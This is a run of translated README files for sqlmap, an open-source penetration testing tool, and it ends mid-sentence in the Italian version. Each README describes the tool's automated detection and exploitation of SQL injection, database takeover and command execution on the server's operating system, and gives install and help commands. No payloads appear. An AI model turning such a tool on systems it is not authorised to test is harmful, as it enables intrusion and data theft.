بەرنامەی `sqlmap` بەرنامەیەکی تاقیکردنەوەی چوونە ژوورەوەی سەرچاوە کراوەیە کە بە شێوەیەکی ئۆتۆماتیکی بنکەدراوە کە کێشەی ئاسایشی SQL Injection یان هەیە دەدۆزێتەوە. ئەم بەرنامەیە بزوێنەرێکی بەهێزی دیاریکردنی تێدایە. هەروەها کۆمەڵێک سکریپتی بەرفراوانی هەیە کە ئاسانکاری دەکات بۆ پیشەییەکانی تاقیکردنەوەی دزەکردن(penetration tester) بۆ کارکردن لەگەڵ بنکەدراوە. لە کۆکردنەوەی زانیاری دەربارەی بانکی داتا تا دەستگەیشتن بە داتاکانی سیستەم و جێبەجێکردنی فەرمانەکان لە ڕێگەی پەیوەندی Out Of Band لە سیستەمی کارگێڕدا. سکرین شاتی ئامرازەکە ----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
بۆ بینینی [کۆمەڵێک سکرین شات و سکریپت](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) دەتوانیت سەردانی ویکیەکە بکەیت. دامەزراندن ---- بۆ دابەزاندنی نوێترین وەشانی tarball، کلیک [لێرە](https://github.com/sqlmapproject/sqlmap/tarball/master) یان دابەزاندنی نوێترین وەشانی zipball بە کلیککردن لەسەر [لێرە](https://github.com/sqlmapproject/sqlmap/zipball/master) دەتوانیت ئەم کارە بکەیت. باشترە بتوانیت sqlmap دابەزێنیت بە کلۆنکردنی کۆگای [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https://www.python.org/download/) وەشانی **2.6**، **2.7** و **3.x** لەسەر هەر پلاتفۆرمێک. چۆنیەتی بەکارهێنان ---- بۆ بەدەستهێنانی لیستی بژاردە سەرەتاییەکان و سویچەکان ئەمانە بەکاربهێنە: python sqlmap.py -h بۆ بەدەستهێنانی لیستی هەموو بژاردە و سویچەکان ئەمە بەکار بێنا: python sqlmap.py -hh دەتوانن نمونەی ڕانکردنێک بدۆزنەوە [لێرە](https://asciinema.org/a/46601). بۆ بەدەستهێنانی تێڕوانینێکی گشتی لە تواناکانی sqlmap، لیستی تایبەتمەندییە پشتگیریکراوەکان، و وەسفکردنی هەموو هەڵبژاردن و سویچەکان، لەگەڵ نموونەکان، ئامۆژگاریت دەکرێت کە ڕاوێژ بە [دەستنووسی بەکارهێنەر](https://github.com/sqlmapproject/sqlmap/wiki/Usage). بەستەرەکان ---- * ماڵپەڕی سەرەکی: https://sqlmap.org * داگرتن: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یان [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * فیدی RSS جێبەجێ دەکات: https://github.com/sqlmapproject/sqlmap/commits/master.atom * شوێنپێهەڵگری کێشەکان: https://github.com/sqlmapproject/sqlmap/issues * ڕێنمایی بەکارهێنەر: https://github.com/sqlmapproject/sqlmap/wiki * پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە وەرگێڕانەکان ================================================ FILE: doc/translations/README-de-DE.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen. Screenshots --- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Du kannst eine [Sammlung von Screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), die einige der Funktionen demonstrieren, auf dem Wiki einsehen. Installation --- [Hier](https://github.com/sqlmapproject/sqlmap/tarball/master) kannst du das neueste TAR-Archiv herunterladen und [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) das neueste ZIP-Archiv. Vorzugsweise kannst du sqlmap herunterladen, indem du das [GIT](https://github.com/sqlmapproject/sqlmap) Repository klonst: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap funktioniert sofort mit den [Python](https://www.python.org/download/) Versionen 2.6, 2.7 und 3.x auf jeder Plattform. Benutzung --- Um eine Liste aller grundsätzlichen Optionen und Switches zu bekommen, nutze diesen Befehl: python sqlmap.py -h Um eine Liste alles Optionen und Switches zu bekommen, nutze diesen Befehl: python sqlmap.py -hh Ein Probelauf ist [hier](https://asciinema.org/a/46601) zu finden. Um einen Überblick über sqlmap's Fähigkeiten, unterstütze Funktionen und eine Erklärung aller Optionen und Switches, zusammen mit Beispielen, zu erhalten, wird das [Benutzerhandbuch](https://github.com/sqlmapproject/sqlmap/wiki/Usage) empfohlen. Links --- * Webseite: https://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues * Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki * Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-es-MX.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band". Capturas de Pantalla --- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Visita la [colección de capturas de pantalla](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demuestra algunas de las características en la documentación(wiki). Instalación --- Se puede descargar el "tarball" más actual haciendo clic [aquí](https://github.com/sqlmapproject/sqlmap/tarball/master) o el "zipball" [aquí](https://github.com/sqlmapproject/sqlmap/zipball/master). Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.7** y **3.x** en cualquier plataforma. Uso --- Para obtener una lista de opciones básicas: python sqlmap.py -h Para obtener una lista de todas las opciones: python sqlmap.py -hh Se puede encontrar una muestra de su funcionamiento [aquí](https://asciinema.org/a/46601). Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de todas las opciones y modificadores, junto con ejemplos, se recomienda consultar el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Enlaces --- * Página principal: https://sqlmap.org * Descargar: [. tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) o [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Fuente de Cambios "Commit RSS feed": https://github.com/sqlmapproject/sqlmap/commits/master.atom * Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues * Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki * Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-fa-IR.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap)
برنامه `sqlmap`، یک برنامه‌ی تست نفوذ منبع باز است که فرآیند تشخیص و اکسپلویت پایگاه های داده با مشکل امنیتی SQL Injection را بطور خودکار انجام می دهد. این برنامه مجهز به موتور تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصصان تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق ارتباط Out Of Band درسیستم عامل را امکان پذیر می‌کند. تصویر محیط ابزار ----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
برای نمایش [مجموعه ای از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از دانشنامه دیدن کنید. نصب ---- برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید. نحوه استفاده ---- برای دریافت لیست ارگومان‌های اساسی می‌توانید از دستور زیر استفاده کنید:
``` python sqlmap.py -h ```
برای دریافت لیست تمامی ارگومان‌ها می‌توانید از دستور زیر استفاده کنید:
``` python sqlmap.py -hh ```
برای اجرای سریع و ساده ابزار می توانید از [اینجا](https://asciinema.org/a/46601) استفاده کنید. برای دریافت اطلاعات بیشتر در رابطه با قابلیت ها ، امکانات قابل پشتیبانی و لیست کامل امکانات و دستورات همراه با مثال می‌ توانید به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید. لینک‌ها ---- * خانه: https://sqlmap.org * دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یا [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom * پیگیری مشکلات: https://github.com/sqlmapproject/sqlmap/issues * راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki * سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ * توییتر: [@sqlmap](https://x.com/sqlmap) * رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-fr-FR.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) **sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation. ---- ![Les Captures d'écran](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Les captures d'écran disponible [ici](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) démontrent des fonctionnalités de __sqlmap__. Installation ---- Vous pouvez télécharger le fichier "tarball" le plus récent en cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger l'archive zip la plus récente [ici](https://github.com/sqlmapproject/sqlmap/zipball/master). De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.7** et **3.x** de [Python](https://www.python.org/download/) Utilisation ---- Pour afficher une liste des fonctions de bases et des commutateurs (switches), tapez: python sqlmap.py -h Pour afficher une liste complète des options et des commutateurs (switches), tapez: python sqlmap.py -hh Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples. Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Liens ---- * Page d'acceuil: https://sqlmap.org * Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues * Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki * Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-gr-GR.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων. Εικόνες ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Μπορείτε να επισκεφτείτε τη [συλλογή από εικόνες](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) που επιδεικνύουν κάποια από τα χαρακτηριστικά. Εγκατάσταση ---- Έχετε τη δυνατότητα να κατεβάσετε την τελευταία tarball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/tarball/master) ή την τελευταία zipball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/zipball/master). Κατά προτίμηση, μπορείτε να κατεβάσετε το sqlmap κάνοντας κλώνο το [Git](https://github.com/sqlmapproject/sqlmap) αποθετήριο: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.7** και **3.x** σε όποια πλατφόρμα. Χρήση ---- Για να δείτε μια βασική λίστα από επιλογές πατήστε: python sqlmap.py -h Για να πάρετε μια λίστα από όλες τις επιλογές πατήστε: python sqlmap.py -hh Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://asciinema.org/a/46601). Για μια γενικότερη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηριζόμενων χαρακτηριστικών και περιγραφή για όλες τις επιλογές, μαζί με παραδείγματα, καλείστε να συμβουλευτείτε το [εγχειρίδιο χρήστη](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Σύνδεσμοι ---- * Αρχική σελίδα: https://sqlmap.org * Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues * Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki * Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-hr-HR.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza. Slike zaslona ---- ![Slika zaslona](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Možete posjetiti [kolekciju slika zaslona](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gdje se demonstriraju neke od značajki na wiki stranicama. Instalacija ---- Možete preuzeti zadnji tarball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/tarball/master) ili zadnji zipball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/zipball/master). Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi. Korištenje ---- Kako biste dobili listu osnovnih opcija i prekidača koristite: python sqlmap.py -h Kako biste dobili listu svih opcija i prekidača koristite: python sqlmap.py -hh Možete pronaći primjer izvršavanja [ovdje](https://asciinema.org/a/46601). Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te opis svih opcija i prekidača, zajedno s primjerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Poveznice ---- * Početna stranica: https://sqlmap.org * Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed promjena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-id-ID.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap adalah perangkat lunak sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih dan fitur-fitur handal yang berguna bagi _penetration tester_. Perangkat lunak ini menawarkan berbagai cara untuk mendeteksi basis data bahkan dapat mengakses sistem file dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. Tangkapan Layar ---- ![Tangkapan Layar](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Anda juga dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki. Instalasi ---- Anda dapat mengunduh tarball versi terbaru [di sini](https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master). Sebagai alternatif, Anda dapat mengunduh sqlmap dengan melakukan _clone_ pada repositori [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.7** dan **3.x** pada platform apapun. Penggunaan ---- Untuk mendapatkan daftar opsi dasar gunakan perintah: python sqlmap.py -h Untuk mendapatkan daftar opsi lanjutan gunakan perintah: python sqlmap.py -hh Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601). Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya. Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Tautan ---- * Situs: https://sqlmap.org * Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS Feed Dari Commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki * Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos) * Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-in-HI.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap एक ओपन सोर्स प्रवेश परीक्षण उपकरण है जो SQL इन्जेक्शन दोषों की पहचान और उपयोग की प्रक्रिया को स्वचलित करता है और डेटाबेस सर्वरों को अधिकृत कर लेता है। इसके साथ एक शक्तिशाली पहचान इंजन, अंतिम प्रवेश परीक्षक के लिए कई निचले विशेषताएँ और डेटाबेस प्रिंट करने, डेटाबेस से डेटा निकालने, नीचे के फ़ाइल सिस्टम तक पहुँचने और आउट-ऑफ-बैंड कनेक्शन के माध्यम से ऑपरेटिंग सिस्टम पर कमांड चलाने के लिए कई बड़े रेंज के स्विच शामिल हैं। चित्रसंवाद ---- ![स्क्रीनशॉट](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) आप [विकि पर](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) कुछ फीचर्स की दिखाते हुए छवियों का संग्रह देख सकते हैं। स्थापना ---- आप नवीनतम तारबाल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/tarball/master) या नवीनतम ज़िपबॉल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/zipball/master) डाउनलोड कर सकते हैं। प्राथमिकत: आप sqlmap को [गिट](https://github.com/sqlmapproject/sqlmap) रिपॉजिटरी क्लोन करके भी डाउनलोड कर सकते हैं: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap [Python](https://www.python.org/download/) संस्करण **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है। उपयोग ---- मौलिक विकल्पों और स्विच की सूची प्राप्त करने के लिए: python sqlmap.py -h सभी विकल्पों और स्विच की सूची प्राप्त करने के लिए: python sqlmap.py -hh आप [यहां](https://asciinema.org/a/46601) एक नमूना चलाने का पता लगा सकते हैं। sqlmap की क्षमताओं की एक अवलोकन प्राप्त करने, समर्थित फीचर्स की सूची और सभी विकल्पों और स्विच का वर्णन, साथ ही उदाहरणों के साथ, आपको [उपयोगकर्ता मैन्युअल](https://github.com/sqlmapproject/sqlmap/wiki/Usage) पर परामर्श दिया जाता है। लिंक ---- * मुखपृष्ठ: https://sqlmap.org * डाउनलोड: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) या [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * संवाद आरएसएस फ़ीड: https://github.com/sqlmapproject/sqlmap/commits/master.atom * समस्या ट्रैकर: https://github.com/sqlmapproject/sqlmap/issues * उपयोगकर्ता मैन्युअल: https://github.com/sqlmapproject/sqlmap/wiki * अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * ट्विटर: [@sqlmap](https://x.com/sqlmap) * डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * ================================================ FILE: doc/translations/README-it-IT.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band. Screenshot ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Nella wiki puoi visitare [l'elenco di screenshot](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) che mostrano il funzionamento di alcune delle funzionalità del programma. Installazione ---- Puoi scaricare l'ultima tarball cliccando 